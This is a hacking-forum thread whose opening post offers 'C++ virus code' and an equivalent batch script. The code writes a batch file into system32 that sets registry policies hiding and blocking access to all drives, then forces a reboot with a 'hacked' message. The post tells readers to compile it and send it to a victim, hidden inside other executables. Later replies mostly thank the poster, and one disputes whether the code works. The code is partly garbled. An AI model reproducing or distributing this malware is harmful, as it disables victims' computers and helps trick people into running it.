PDA

View Full Version : C++ virus code



Server_CM
10-13-2014, 02:04 PM
C++ virus code

HELLO GUYS, THIS AND THE C + + virus code. Actually Batch code is converted to C + + virus code. If you want, you can use it as batch code also, ENJOY,,



C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\ CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\ CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }


Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\ CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\ CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim

Enjoy

CyberPro
11-23-2016, 09:41 AM
Thanks man! I was looking for something like this

hackinet
04-08-2017, 04:47 PM
You cannot use the "write" simply in c++, the language you used was a mixture of c and c#, and you didn't executed the batch file that was created, so you code has no effect.
Try used start.shell(sub::"yourpath");

Batonas123
04-12-2017, 06:40 PM
Thanks for sharing it with us! I Appreciate it!

mouadrm
04-19-2017, 12:53 AM
thank u for this bro

Ragavendran123
06-30-2017, 03:02 AM
great thank u

alaslx
04-30-2018, 02:03 AM
thanks thats great